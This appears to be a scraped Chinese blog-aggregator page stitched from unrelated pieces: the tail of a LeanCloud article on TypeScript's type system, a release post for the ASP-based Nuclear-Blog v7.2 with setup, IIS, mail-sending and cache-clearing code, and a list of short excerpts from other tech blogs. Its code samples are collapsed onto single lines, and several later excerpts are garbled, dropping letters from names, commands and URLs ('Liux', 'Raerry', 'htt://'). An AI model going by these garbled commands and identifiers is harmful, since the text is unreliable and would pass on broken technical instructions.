但其实我们并不一定要掌握这么复杂的类型系统，实际上前面介绍的高级特性在业务代码中都极少被用到。TypeScript 并不希望标注类型给开发者造成太大的负担，因此 TypeScript 会尽可能地进行类型推导，让开发者在大多数情况下不必手动标注类型。
const bool = true // bool 是字面量类型 truelet num = 1 // num 是 numberlet arr = [0, 1, 'str'] // arr 是 (number | string)[]let body = await fs.readFile() // body 是 Buffer// cpuModels 是 string[]let cpuModels = os.cpus().map( cpu => { // cpu 是 os.CpuInfo return cpu.model})类型推导同样可以用在泛型中，例如前面提到的 Promise.all 和 getProperty，我们在使用时都不必去管泛型参数：
// 调用 Promise.all<Buffer>，files 的类型是 Promise<Buffer[]>const files = Promise.all(paths.map( path => fs.readFile(path)))// 调用 Promise.all<number[]>，numbers 的类型是 Promise<number[]>const numbers = Promise.all([1, 2, 3, 4])// 调用 getProperty<{a: number}, 'a'>，a 的类型是 numberconst a = getProperty({a: 2}, 'a')前面提到泛型是在将类型参数化，引入一个未知数来代替实际的类型，所以说泛型对于 TypeScript 就像是一个方程式一样，只要你提供了能够解开这个方程的其他未知数，TypeScript 就可以推导出剩余的泛型类型。
价值十亿美金的错误
在很多语言中访问空指针都会报出异常（在 JavaScript 中是从 null 或 undefined 上读取属性时），空指针异常被称为「价值十亿美元的错误」。TypeScript 则为空值检查也提供了支持（需开启 strictNullChecks），虽然这依赖于类型定义的正确性，并没有运行时的保证，但依然可以提前在编译期发现大部分的错误，提高开发效率。
TypeScript 中的类型是不可为空（undefined 或 null）的，对于可空的类型必须表示成和 undefined 或 null 的并集类型，这样当你试图从一个可能为 undefined 的变量上读取属性时，TypeScript 就会报错了。
function logDateValue1(date: Date) { // 不可空 console.log(date.valueOf())}logDateValue1(new Date)logDateValue1() // 报错 An argument for 'date' was not provided.function logDateValue2(date: Date | undefined) { // 可空 console.log(date.valueOf()) // 报错 Object is possibly 'undefined'.}logDateValue2(new Date)logDateValue2()在这种情况下 TypeScript 会要求你先对这个值进行判断，排除其为 undefined 可能性。这就要说到 TypeScript 的另外一项特性 —— 其基于控制流的类型分析。例如在你使用 if 对变量进行非空判断后，在 if 之后的花括号中这个变量就会变成非空类型：
function print(str: string | null) { // str 在这里的类型是 string | null console.log(str.trim()) // 报错 Object is possibly 'null'. if (str !== null) { // str 在这里的类型是 string console.log(str.trim()) }}同样的类型分析也发生在使用 if、switch 等语句对并集类型进行判断时：
interface Rectangle { kind: 'rectangle' width: number height: number}interface Circle { kind: 'circle' radius: number}function area(s: Rectangle | Circle) { // s 在这里的类型是 Rectangle | Circle switch (s.kind) { case "rectangle": // s 在这里的类型是 Rectangle return s.height * s.width case "circle": // s 在这里的类型是 Circle return Math.PI * s.radius ** 2; }}仅仅工作在编译阶段
TypeScript 最终仍然会编译到 JavaScript，再被 JavaScript 引擎（如 V8）执行，在生成出的代码中不会包含任何类型信息，TypeScript 也不会添加任何与运行时行为有关的功能。
TypeScript 仅仅提供了类型检查，但它并没有去保证通过检查的代码一定是可以正确运行的。可能一个变量在 TypeScript 的类型声明中是一个数字，但并不能阻止它在运行时变成一个字符串 —— 可能是使用了强制类型转换或使用了其他非 TypeScript 的库且类型定义文件有误。
在 TypeScript 中你可以将类型设置为 any 来绕过几乎所有检查，或者用 as 来强制「转换」类型，当然就像前面提到的那样，这里转换的仅仅是 TypeScript 在编译阶段的类型标注，并不会改变运行时的类型。虽然 TypeScript 设计上要去支持 JavaScript 的所有范式，但难免有一些极端的用例无法覆盖到，这时如何使用 any 就非常考验开发者的经验了。
编程语言的类型系统总是需要在灵活和复杂、简单和死板之间做出权衡，TypeScript 则给出了一个完全不同的答案 —— 将编译期的检查和运行时的行为分别看待。这是 TypeScript 饱受争议的一点，有人认为这样非常没有安全感，即使通过了编译期检查在运行时依然有可能得到错误的类型，也有人认为 这是一个非常切合工程实际的选择 —— 你可以用 any 来跳过类型检查，添加一些过于复杂或无法实现的代码，虽然这破坏了类型安全，但确实又解决了问题。
那么这种仅仅工作在编译阶段类型检查有意义么？我认为当然是有的，毕竟 JavaScript 已经提供了足够使用的运行时行为，而且要保持与 JavaScript 的互操作性。大家需要的只是 TypeScript 的类型检查来提高开发效率，除了编译阶段的检查来尽早发现错误以外，TypeScript 的类型信息也可以给编辑器（IDE）非常准确的补全建议。
与 JavaScript 代码一起工作
任何基于 JavaScript 的技术都要去解决和标准 JavaScript 代码的互操作性 —— TypeScript 不可能创造出一个平行与 JavaScript 的世界，它必须依赖社区中已有的数十万的 JavaScript 包。
因此 TypeScript 引入了一种类型描述文件，允许社区为 JavaScript 编写类型描述文件，来让用到它们的代码可以得到 TypeScript 的类型检查。
描述文件的确是 TypeScript 开发中最大的痛点，毕竟只有当找全了定义文件之后，才会有流畅的开发体验。在开发的过程中不可避免地会用到一些特定领域的、小众的库，这时就必须要去考虑这个库是否有定义文件、定义文件的质量如何、是否需要自己为其编写定义文件。对于不涉及复杂泛型的库来说，写定义文件并不会花太多时间，你也只需要给自己用到的接口写定义，但终究是一个分心的点。
小结
TypeScript 有着先进的类型系统，而且这个先进并不是「学术」意义上的先进，而是「工程」意义上的先进，能够切实地提高开发效率，减轻动态类型的心理负担，提前发现错误。所以在此建议所有的 JavaScript 开发者都了解和尝试一下 TypeScript，对于 JavaScript 的开发者来说，TypeScript 的入门成本非常低。
在 LeanCloud，控制台在最近的一次的重构中切换到了 TypeScript，提高了前端项目的工程化水平，让代码可以被长时间地维护下去。同时我们一部分既有的基于 Node.js 的后端项目也在切换到 TypeScript。
LeanCloud 的一些内部工具和边缘服务也会优先考虑 TypeScript，较低的学习成本（谁没写过几行 JavaScript 呀！）、静态类型检查和优秀的 IDE 支持，极大地降低了新同事参与不熟悉或长时间无人维护的项目的门槛，提高大家改进内部工具的积极性。
LeanCloud 的 JavaScript SDK、Node SDK 和 Play SDK 都添加了 TypeScript 的定义文件（并且打算在之后的版本中使用 TypeScript 改写），让使用 LeanCloud 的开发者可以在 TypeScript 中使用 SDK，即使不用 TypeScript，定义文件也可以帮助编辑器来改进代码补全和类型提示。
如果你也希望一起来完善这些项目，可以了解一下在 LeanCloud 的 工作机会。
参考资料：
- 博客 Jiajun的编程随想 2020-06-09 08:00:00《Go设计模式：适配器模式》我买过一个港版的手机，香港的插座和大陆不一样，电压也不一样，因此为了充电，我还买了一个转换头，这个转换头，就是起的适配器的使用...
- 博客 Jiajun的编程随想 2020-06-07 08:00:00《Go设计模式：Iterator》最常见的迭代模式莫过于循环：```go...
- 博客 轶哥博客 2020-05-31 13:47:47<>多次和某个乙方合作，对方在后续合作的合同中偷偷修改了部分条款，直到第五次合作的时候才发现合同内容已经被修改了🤦。<>因此，昨天我编写了
Word对比小程序，可以离线使用，快速对比聊天记录中两份Word文档的内容差异。- 本地处理数据，不上传服务器，文档不会被泄密。可开启飞行模式离线使用。
- 目前仅支持 .docx 格式的 Word 文档。
- 独家算法，请进入小程序后点击右上角添加到“我的小程序”以备不时之需。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2020-05-30 22:28:40
前言
大概在 2010 年前后，那会儿非常流行搭博客，核总本人也想搭一个，但是找来找去，找不到一个安全、简洁、高效的博客程序，于是乎狠心下来自己从零开发一个，于是这套博客系统诞生了，后来命名为 Nuclear-Blog。
说起来从零开发博客，并且全部代码接近于完全原创，国内做到的人估计屈指可数，一是需要大量时间和经验，二是需要极高的编程功力，只是这两点就足以令 99% 的人望而却步，所以大多数人只是拿个开源的博客二次开发一下、换个皮、改个模板玩玩。
从 2010 年到 2015 年，这套博客程序经历了无数次迭代更新，再加上核总从骨子里追求精益求精、登峰造极，所以这 5 年时间里已经将该系统打磨的极其安全、稳定、简洁、高效了，同时也极大地提升了个人编程水平，并且顺带学到了很多底层协议、知识，对以后的个人综合技术水平提升起到了很大的帮助。
那么，有细心的读者发现了，为何 2015 年后没有更新了呢？
原因很简单，该有的功能都有了，不该有的功能也加了，一个博客系统已无限接近于成熟和完美，所以后边更新的频率越来越低，因为没啥可更新的了，哈哈哈……
历史上也开源过几次，版本列表如下：
后来到了 2018 年，由于 Asp 无法跨平台，试了很多方案无解，同时 PHP 已充斥了整个行业，Asp 生存空间越来越小（过时但永不淘汰），再加上个人精力有限，最终放弃了继续开发。
遂于 2018 年中旬抽时间整理了之前的内容，并彻底更换网站系统为 Caddy + Hugo 跨平台完美组合，于 2018 年 9 月中旬重新上线。
随着时代的变迁，从最开始的博客，接下来轻博客，到现在的微博，大家越来越不喜欢臃肿的长文章，更喜欢短小精悍的碎片信息，这年头还坚持写博客的人，已经寥寥无几了。
再后来，有很多朋友喜欢这套博客程序，原因是很简洁而且相当安全，于是在众多朋友频繁催更之下，抽时间整理了最终版的源码，现发布出来。
目前版本是 Nuclear-Blog v7.2，也是最终版本，以下是使用说明和相关功能介绍。
快速使用
1、下载 Nuclear-Blog v7.2 压缩包并解压。
2、在文件 \admin\Index.asp 中修改后台登陆账号和密码，默认 admin:123456。
3、将后台管理主目录 /admin/ 修改为其他人猜不到的名字。
4、在 /inc/conn.asp 中将数据库名字修改为其他人猜不到的，别忘了将两个对应的 .mdb 文件也改名。
5、上传所有文件到你的 Windows 服务器或者支持 Asp 的虚拟主机、空间，如有必要，请参考“初始化设置”对服务器进行相关调整。
6、访问后台，修改一下网站名称之类的基本参数，添加一点内容，Enjoin！
操作过程中如果有疑问或者报错，请参考底下的手册。
本系统已经十分安全，强迫症患者可以参考底下设置一下相关权限。
文件结构
本博客系统的文件结构简洁、逻辑清晰，每个文件中都有详细的代码说明和注释，以供二次开发或者修改代码所参考，具体结构如下：
路径 说明 \后台密码加密算法\ 加密算法，用于生成 \admin\Index.asp 中后台登陆账号和密码的密文，独立运行，可以删除。 \favicon.ico 浏览器地址栏的小图标，也用于收藏夹，非必须的，看个人喜好更换或删除。 \404.asp 自定义的 404 错误页面。 \file.asp 所有的附件、图片、文件处理程序，主要功能是提取数据库中的文件，缓存并输出。 \index.asp 核心文件，所有的首页、文章、列表、内容处理程序。 \admin\ 后台相关文件，该目录名可以随意改名，最好修改成别人猜不到的。 \admin\Index.asp 后台登陆账号和密码在这里改，配合上边的算法使用，默认账号和密码 admin:123456。 \cache\ 所有页面、文件、图片的缓存，访问会自动生成，可以随时手动删除或在后台清空，程序会在你修改数据的时候自动更新缓存，核心代码全自动的，基本不用管。 \image\ 所有的模板文件、图片、CSS、JS 等静态资源存放路径。 \image\Content.html 内容页面模板。 \image\Index.html 首页模板。 \image\List.html 列表模板。 \image\LiuYan.html 留言板模板。 \image\face\ 留言板的默认头像。 \image\KindEditor\ KindEditor 编辑器，用的纯静态版，不用担心任何漏洞。 \inc\0b1214c54b5a59d3_data.mdb 存放文章、浏览、系统设置的数据库，建议名字改成别人猜不到的，以防非法下载，造成数据泄露。 \inc\0b1214c54b5a59d3_file.mdb 存放附件、图片等文件二进制数据的数据库，建议名字改成别人猜不到的，以防非法下载，造成数据泄露。 \inc\MD5.asp MD5 算法。 \inc\Conn.asp 数据库链接配置和一些公共函数，如果修改了数据库名字，记得在这里也改一下。 \inc\Anti-CC_CDN.asp 早年写的一个高效防 CC 攻击模块（支持 CDN，也可以防路径扫描、恶意采集和暴力破解），具体参考Asp 防御CC攻击模块 (Anti-CC.asp) \liuyan\index.asp 留言板。 \liuyan\liuyan.asp 留言板，提交留言。 \music\ 一个在线音乐视频播放器，主要用于在文章中插入多媒体文件。 安全设置
如果你在 \admin\Index.asp 中添加：
<!--#include file="Inc/Anti-CC_CDN.asp"-->还能天然免疫暴力破解登陆密码攻击，退一万步讲，即使有后台权限也拿不到 webshell，最多删删文章、改改首页意淫下罢了（所以建议多备份）。
XSS 之类的就更不用担心了，不存在任何 XSS 漏洞（欢迎各种代码审计）。
如你用的 CDN 的话，所有访客 IP 地址是通过 HTTP_X_FORWARDED_FOR 获取的，但是不用担心，该函数已进行安全处理。
为了安全起见，建议设置一下文件访问权限，其实不设置也不要紧，这套系统从正面无人能入侵（再次欢迎各种代码审计），建议的文件访问权限设置如下：
路径 权限 \cache\ 及子目录 可读可写，禁止执行 \inc\ 可读可写（主要是为了能修改 mdb 数据库） \inc\*.asp 只读，不可写 其余所有目录、文件及子目录 只读，不可写 数据备份
Nuclear-Blog v7.2 博客系统备份十分简单方便，只需要打包一下除 \cache\ 目录之外的所有文件即可。
建议首次打包备份后，以后只需要单独打包一下 \inc\ 目录下的两个 mdb 数据库即可，以减少传输数据量。
众所周知，三处离线灾备是基本原则。
依赖组件
网站留言版是可以设置有新留言自动发送邮件提醒的，具体设置见后台，该功能需要依赖 JMail 发送邮件组件，下载地址见底下。
也有无组件发送邮件的方法，你可以自己改改，但效果不太好，因为是公共地址发送，各种被滥用，容易进垃圾箱(100%)，相关代码如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40<% ' CDOSYS 发邮件、Win7 无组件发送、支持 Godaddy 的发邮件代码、非 Jmail（使用 godaddy 公共 SMTP 服务器 relay-hosting.secureserver.net 不需要用户密码验证，需要系统：Windows/IIS） ' 注意：Godaddy 的空间/虚拟主机禁止了所有三方 SMTP 服务器，只能用他自己服务器。注意需要使用 utf-8 编码，否则乱码！ ' http://blog.csdn.net/tangolivesky/article/details/6266985 ' https://sg.godaddy.com/zh/help/using-cdosys-to-send-email-from-your-windows-hosting-account-1073 ' 1、发现很有意思的地方，就是发件人可以随意填写，都能发送成功，根本不需要什么godaddy的企业邮局，这一点让我很惊讶。 ' 2、objMail.BodyPart.Charset="utf-8" 增加了编码定义功能，发送邮件不再乱码 ' 3、邮件到达的速度时快时慢，有时候可以达到秒速，有时候可能要好几分钟 ' 4、进垃圾邮箱几率很大，需要加白名单 ' 创建组件 dim CDOMail, STUl set CDOMail = CreateObject("CDO.Message") ' 设置邮件参数 CDOMail.From = "from@163.com" '发信人 CDOMail.To = "to@163.com" '收信人 CDOMail.Subject = "标题" '标题 CDOMail.BodyPart.Charset = "utf-8" '编码 CDOMail.HTMLBody = "内<br>容" 'Html 内容 ' CDOMail.TextBody = "邮件内容" '文本内容 ' CDOMail.AddAttachment "D:\www\images\right.png" '附件 ' 配置 SMTP 服务器 STUl = "http://schemas.microsoft.com/cdo/configuration/" With CDOMail.Configuration.Fields .Item(STUl & "sendusing") = 2 '发送使用端口 .Item(STUl & "smtpserverport") = 25 'SMTP服务器端口 .Item(STUl & "smtpconnectiontimeout") = 60 '连接超时（秒） .Item(STUl & "smtpserver") = "relay-hosting.secureserver.net" 'Godaddy 公共 SMTP 服务器（不需要用户密码验证） ' .Item(STUl & "smtpserver") = "smtp.163.com" 'SMTP服务器地址 ' .Item(STUl & "smtpauthenticate") = 1 '远程服务器需要验证 ' .Item(STUl & "sendusername") = "from@163.com" '发送方邮箱地址 ' .Item(STUl & "sendpassword") = "password" '发送方邮箱密码 .Update End With '执行发送 CDOMail.Send %>初始化设置
1、启用父路径
IIS -> 网站 -> 网站名 -> Asp -> 启用父路径 -> True
否则会报错：
1 2 3 4 5 6 7Active Server Pages 错误 'ASP 0131' 不允许的父路径 /liuyan/index.asp，行 1 包含文件“../Inc/Conn.asp”不能用“..”表示父目录。或者你把所有包含文件改成绝对路径，就不用修改该设置了，但是如果运行在子目录兼容性会变差。
2、兼容 ≥ IIS 7.0
IIS 7.0 及更高版本使用 32 位 mdb 数据库必须进行如下操作：
IIS -> 应用程序池 -> 网站名 -> 右键高级设置 -> 启用 32 位应用程序 -> True
否则会报错：
1 2 3 4 5ADODB.Connection 错误 '800a0e7a' 未找到提供程序。该程序可能未正确安装。 /Inc/Conn.asp，行 333、临时调试程序
【警告：如非调试请勿进行此操作】
如需临时调试程序代码，请执行以下操作：
IIS -> 网站 -> 网站名 -> Asp -> 编译/调试 -> 将错误发送到浏览器 -> True
并注释掉相关文件的 On Error Resume Next，共有以下文件：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18file.asp 4:On Error Resume Next index_bak.asp 29:On Error Resume Next admin\File_UpLoad_Class.asp 430: On Error Resume Next 470: On Error Resume Next liuyan\liuyan.asp 4:On Error Resume Next liuyan\index.asp 4:On Error Resume Next index.asp 29:On Error Resume Next4、一些其他设置
/inc/conn.asp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17<% '... '是否以CDN模式运行（获取访客真实IP地址） IsCDN = False '缓存文件存放目录，切记最后要加：\ CachePath = Server.MapPath("/cache/") & "\" '主数据库路径（存放：文章、留言、配置） DataPath = Server.MapPath("/inc/0b1214c54b5a59d3_data.mdb") '文件数据库路径（存放：文件） DataPath_File = Server.MapPath("/inc/0b1214c54b5a59d3_file.mdb") '... %>网站模板
模板很简单，由于全站页面并不多，所以只有几个 .html 文件，所有模板相关的文件都储存在 \image\，具体参考上边的文件结构，采用 html + 标签替换的方式生成实际页面内容，具体可以参考 index.asp 和 /inc/conn.asp 中的代码。
模板支持的标签和变量
有效范围 变量标签 功能描述 全局变量 {网站名称}、{网站域名} 网站名称、网站域名。 全局变量 {主页描述}、{主页关键字} 主页的描述、关键词，给搜索引擎蜘蛛看的，SEO 优化用的。 全局变量 {推荐内容}、{友情链接} 自定义的推荐内容、友情链接代码。 全局变量 {统计代码} 统计用的JS代码。 全局变量 {顶部广告}、{底部广告} 两个独立的广告代码。 全局变量 {当前页码} 当前文章或列表的页码，首页为 0。 全局变量 {随机数} 产生一个随机数，一般用来做防采集，随机乱码用的。 主页变量 {最新内容} 按ID从大到小排序（倒叙）的文章列表。 主页变量 {最多浏览} 按点击数从大到小排序（倒叙）的文章列表。 主页变量 {随便看看} 随机提取的文章列表。 列表变量 {文章列表}、{页码列表} 按照ID或点击数从大到小排列的文章列表及页码。 文章变量 {标题}、{作者}、{内容} 文章的标题、作者及内容。 文章变量 {时间}、{修改}、{点击数} 文章的发表、最后修改时间，以及点击数。 文章变量 {关键字}、{描述} 文章的关键词、描述，给搜索引擎蜘蛛看的，SEO 优化用的。 文章变量 {默认作者} 文章的默认作者，会替换为系统设置里指定的值。 文章变量 {简单描述} 截取适当长度的文章描述，在文章页面顶部做简单显示。 文章变量 {上一篇链接}、{上一篇标题} 上一篇文章的ID（编号）、标题。 文章变量 {下一篇链接}、{下一篇标题} 下一篇文章的ID（编号）、标题。 文章变量 {本页链接} 当前文章页面的完整 Url 地址，用于在转载信息里调用。 文章变量 {评论数} 当前文章对应的评论条数。 提示：测试模板的时候记得禁用缓存或者隔一秒自动删除缓存文件，以便查看最新修改后的效果，这是一个自动循环删除缓存的批处理例子：
1 2 3 4 5 6 7 8 9echo off & cls echo 为防止意外执行造成数据丢失，请按任意键以继续…… echo. pause :1 del /s /f /q /a "%cd%\cache\*.*" ping 127.0.0.1 -w 1 -n 3 goto 1以上代码保存到：\网站跟目录\清理缓存.bat
提示：默认的模板经过长期微调，对各大搜索引擎的 SEO 十分友好，可以参考。
下载地址
Nuclear-Blog v7.2，需要 WinRAR 5.0 或更高版本解压。
w3 JMail v4.5 免费版.msi，JMail 发送邮件组件，新留言自动发邮件提醒用的。
相关截图
- 博客 Jiajun的编程随想 2020-05-30 08:00:00《glusterfs 笔记》我在自己的集群里搭了一个分布式文件系统，起初在选型的时候，纠结选择ceph还是glusterfs，因为听ceph多一些，且看到有测评ceph写入速度快一点，不过后来想了想，对于我的需求，因为我的集群是跨公网的异地节点组成的，带宽非常有限，会直接成为性能瓶颈，因此选择了glusterfs，因为搭建起来特别简单...
- 博客 Jiajun的编程随想 2020-05-29 08:00:00《用peewee代替SQLAlchemy》用了几年SQLAlchemy，但是说实话，复杂的很，包括配套的DB Migration工具alembic。想要配置一个自动生成migration也是很复杂。最近用了几天peewee，发现真的是简单好用...
- 博客 轶哥博客 2020-05-28 22:30:07<>经常被朋友安x，由于可玩性强近期涨价了，最终还是忍不住入手。真香！😂
准备
- 公对公USB数据线
- U盘
- 显示器 + USB鼠标 + HDMI线
原理
<>N1默认系统是Adroid，不过开机只显示一个简单界面。- 先通过
ad远程连接设备，然后发命令重启至fatoot模式，刷入oot、ootloader、recovery进行降级。 - 降级后使用U盘启动U盘中的
OeWrt系统（无需刷Armia），然后使用h连接到设备，将U盘中的系统写入到emmc。
- 博客 轶哥博客 2020-05-24 22:29:29<>《Liux安装无线网卡驱动通用教程》收到不少好评，本文归纳MacOS下安装WIFI驱动的常规操作。无论是
黑苹果(Hackitoh)还是白苹果(Real Mac)，安装思路大体是一致的（仍需要谨慎辨别驱动兼容的环境）。 - 博客 Jiajun的编程随想 2020-05-23 08:00:00《Go的slice工作机制》slice是咋工作的？首先我们从一个demo看起：```go...
- 博客 Jiajun的编程随想 2020-05-22 08:00:00《Linux系统迁移记录(从HDD到SSD)》我把HDD上的Linux迁移到SSD上，重装系统太麻烦了，所以我直接拷贝整个系统，然后重建引导恢复，以下是记录。## 两块硬盘...
- 博客 Jiajun的编程随想 2020-05-21 08:00:00《Redis是如何工作的？》黄健宏老师的《Redis源码剖析》采用自底向上的讲述方法，先从Redis的数据结构讲起。但是，Redis是怎么从监听端口到执行这些命令的呢？本文记录了我探索这一问题的过程(Redis 6.0)...
- 博客 Jiajun的编程随想 2020-05-18 08:00:00《virsh自动关闭windows虚拟机》大家都知道，这种定时任务是通过crontab来做，但是，如果你直接尝试在crontab里关机，你会发现有时候是关不掉windows虚拟机的。这是为啥呢？这个问题困扰了我好久，因为每次我直接输入命令关机的时候，都关机成功了，我要是放到crontab里等，它也能关机，但是我设置crontab在晚上1点关机，第二天发现，它就是没有关机...
- 博客 轶哥博客 2020-05-17 23:43:16<>本文将阐述Liux环境下安装WIFI驱动的常规思路。网络上绝大多数教程对新手极其不友好，现在咱们就用简单一点的方式来搞定无线网卡驱动安装。<>本文的安装思路在
Uutu、Deia、Deei、CetOS、Kali等不同Liux发行版通用。无论使用Raerry Pi、Nao Pi、Orage Pi等ARM开发板还是x86架构的设备，安装思路大体一致。 - 博客 Randy's Blog 2020-05-17 08:00:001450
- 博客 轶哥博客 2020-05-16 21:04:29<>LeetCode 25. K 个一组翻转链表 htt://leetcode-c.com/rolem/revere-ode-i-k-grou/
LitCode 450. K组翻转链表 htt://www.litcode.com/rolem/revere-ode-i-k-grou/<>这是一道用常规思路就能解的算法题。目标清晰、题目易懂，不涉及复杂的算法。<>按照题目要求，遍历链表，遍历的同时每经过 k个节点就进行一次翻转。需要注意的是，第一次翻转后，记录下整个链表的head作为返回值。从第二次翻转开始，需要将之前翻转过的最后一个结点与新翻转后的第一个结点相连。 - 博客 Jiajun的编程随想 2020-05-16 08:00:00《Golang sort源码阅读》## 复习算法- 插入排序(insertion sort)...
- 博客 Jiajun的编程随想 2020-05-15 08:00:00《分治的思维方式》算法，其本质是一种思维方式。具体实现是术，思维方式是道。对于分治算法，它对应的数学理论是数学归纳法。在程序的表现中，它一般会和递归一起使用...
- 博客 Randy's Blog 2020-05-13 08:00:001454
- 博客 Jiajun的编程随想 2020-05-13 08:00:00《Debian 使用NetworkManager之后networking.service崩溃》NetworkManager更好用，但是直接安装NetworkManager之后，原有的networking.service会崩溃。安装当然很简单...
- 博客 轶哥博客 2020-05-12 00:47:33<>上篇文章轶哥介绍了树莓派4使用OTG功能变身有线网卡的方法。今天我们就来实践让树莓派4变身路由器。（由于本文的「操作」不具备拨号功能，更适合作为旁路由使用。需要实现拨号请自行研究。😂）<>2020年07月23日更新：树莓派可以直接安装OeWRT作为旁路由，但是无法使用OTG有线网卡这个功能。
让树莓派联网
<>无线： 使用rai-cofig，设置WIFI网络，让树莓派联网。<>有线： 使用rai-cofig，设置WIFI网络的国家，保存后按Ec退出安装界面，插入网线。<>无论选择以上何种方式，请参考树莓派4使用OTG功能变身有线网卡的方法将Tye-C接口和电脑的USB接口相连，使用OTG USB网卡确保我们在树莓派中途断网的情况下也能通过h root@raerryi.local的方式连接到树莓派。 - 博客 轶哥博客 2020-05-11 00:11:48<>本文介绍如何开启Raerry Pi 4 USB OTG模式，让树莓派变身
有线网卡。<><>树莓派4相比之前的版本具备三倍的计算性能提升和高达4G的LPDDR4内存，自带双屏无线+蓝牙，千兆网扣，支持双屏4k，新增俩USB3.0，可玩性非常强。无风扇禁音，非常适合作为一个
边缘计算节点、旁路由来使用。如果再开启NAT转发，即可实现的变身有线网卡的同时作为无线网络接收器、路由器来使用。<>Raerry 4 和 Raerry Zero 一样，具备一个带OTG功能的USB接口（很遗憾Raerry i model B、Raerry i model B+、Raerry i 2 model B、Raerry i 3 model B、Raerry i 3 model B+均无USB OTG功能）。 - 博客 轶哥博客 2020-05-10 23:13:46<>小米路由器4 LAN口全千兆+5G Wifi，当时顺手买了这货，性价比蛮高。后面由于路由器升级，这货一直在吃灰。最近偶然看到它，发现网上的教程都是需要TTL线刷😂。其实不用线刷也能刷入
Oewrt，特地记录下刷机过程。<>Root路由器 <>使用网友开源方案OeWRTIvaio进行Root。<>理论上此方案兼容：- 小米路由器4
- 小米路由器4A 千兆版
- 小米路由器4A 100M版
- 小米路由器4C
- 小米路由器4Q（R4C）
- 小米路由器3Gv2
- 小米路由器3C
- 博客 Jiajun的编程随想 2020-05-09 08:00:00《httprouter源码阅读与分析》httprouter是Go里比较高效的一个http 路由框架，比如GIN就是基于它。我们来看看httprouter的源码。首先要明确的一点是httprouter基于radix tree这种数据结构...
- 博客 Jiajun的编程随想 2020-05-08 08:00:00《《程序员的自我修养-装载、链接与库》笔记》很就之前读过这本书，今日重读，作笔记。## 操作系统...
- 博客 轶哥博客 2020-05-05 16:36:18<>升级MacOS到10.15.x以后，以往的Chrome信任自签名证书操作无效，信任后依然无法访问（“高级”选项里面没有继续访问的选项🤦）。网上找到的方法几乎都用不了😂。特地记录一下✅姿势。<>
报错信息： 您的连接不是私密连接，攻击者可能会试图从 raia 窃取您的信息（例如：密码、通讯内容或信用卡信息）。NET::ERR_CERT_INVALID。<>特别提示： 本文仅限专业用户参考。如果该证书不是您生成，或者您不知道自己在做什么，请勿尝试此文提示的操作，以免使您遭致损失。 - 博客 Jiajun的编程随想 2020-05-05 08:00:00《Golang sync.Pool源码阅读与分析》Go的很多地方都有用到 sync.Pool，这是作为一个内存池来使用的。例如 `fmt.Printf`：```go...
- 博客 轶哥博客 2020-05-04 18:06:30<>大约5年前，我在做一个
云打印的软硬件一体化项目，其中很关键的一步是通过API将客户发来的Office文档转换为PDF文档进行预览，然后再发送到对应的打印机进行打印，以PDF预览的方式来确保所见即所得。因此当时开发了此API，一直使用至今，历经数次迭代，如今已经很稳定。<>现今免费将此API开放给大家进行使用（因服务器成本较高，不排除将来进行收费的可能。如若将进行收费，我会提前至少两个月联系您。即使收费，我承诺此API仅收取成本费用）。API部署在多地服务器，使用阿里云API网关进行中转。 - 博客 Jiajun的编程随想 2020-05-01 08:00:00《MySQL操作笔记》MySQL是我最常用的关系型数据库，不过运维相关的一些命令，我不是很常用，但是偶尔又要用，每次都要去搜索太麻烦了，遂作笔记。## 把默认编码设置为 utf8mb4...
- 博客 Jiajun的编程随想 2020-04-30 08:00:00《Go语言解析GBK编码的xml》最近接短信提供商，因为要做审计功能，所以就要把短信的trace id等信息存储下来，但是捏，提供商返回的是GBK格式的XML，而Goxml库默认只支持UTF-8。那咋办呢？下面是两个方案，第一个比较trick，但是还挺好玩的，第二个比较正式...
- 博客 Holmesian Blog 2020-04-28 12:59:00之前的文章有提到过OCSP，现在本站用的 SSL 证书换成了 Let's Encrypt ，近期由于众所周知的原因，国内无法直接访问 Let's Encrypt 的 OSCP 域名，导致出现了不...
- 博客 Jiajun的编程随想 2020-04-28 08:00:00《Golang log 源码阅读》来看看Go标准库里的log，怎么实现的，首先我们来看一个例子：```go...
- 博客 Jiajun的编程随想 2020-04-24 08:00:00《使用Go语言实现一个异步任务框架》如何使用Go语言实现一个简单的异步任务框架呢？且听我一一道来。首先我们看一下常见的任务队列的架构：...
- 博客 贼拉正经的技术博客 2020-04-24 00:10:171469
- 博客 Jiajun的编程随想 2020-04-23 08:00:00《Golang flag源码阅读及自己实现》看了一下flag的实现，其实挺简单的。首先我们从一个使用例子入手：```go...
- 博客 Jiajun的编程随想 2020-04-23 08:00:00《Go使用gdb调试》其实我一般调试都是直接打log的，不过gdb调试还是很有用处，尤其是当碰到一些底层错误的需要单步跟踪的时候，比如，想研究一下Go的runtime是如何实现的的时候...
- 博客 Jiajun的编程随想 2020-04-22 08:00:00《Golang context源码阅读与分析》Golang中使用context作为goroutine之间的控制器，例如：```go...
- 博客 Jiajun的编程随想 2020-04-22 08:00:00《Golang ASM简明教程》这几天倒腾了一下Go的ASM，然后写了一个简单的汇编代码，记录一下以防忘记。首先要说明的是Go的ASM是一种中间码，或者说是众多汇编语言的一种抽象体，但是呢，又不完全是抽象，总之，揉合了Go自定义的一部分，和真实汇编语言。这里主要记录的就是Go自己定义的那部分...
- 博客 Jiajun的编程随想 2020-04-21 08:00:00《Golang中的并发控制》之前我写过一篇博客介绍 [Python中的并发控制](https://jiajunhuang.com/articles/2020_02_12-python_concurrency.md.html)。Python的并发控制可以说很优雅，Java的也是类似的，那么，Go语言咋办？如果我也想实现类似的需求，例如：同时不超过8个goroutine...
- 博客 Jiajun的编程随想 2020-04-21 08:00:00《善用闭包(closure)让Go代码更优雅》通常来说我们降低一个函数的复杂度的方法是拆分。即大事化小，各个击破的原理。不过拆分成函数调用有一个问题，那就是修改函数参数的时候很蛋疼...
- 博客 Jiajun的编程随想 2020-04-20 08:00:00《Golang的可选参数实践》Golang处理可选参数+默认参数的时候，常见的代码是这样的：```go...
- 博客 构建我的被动收入 2020-04-19 08:00:00博客搭建好后，如何优化加载速度？本文告诉你答案
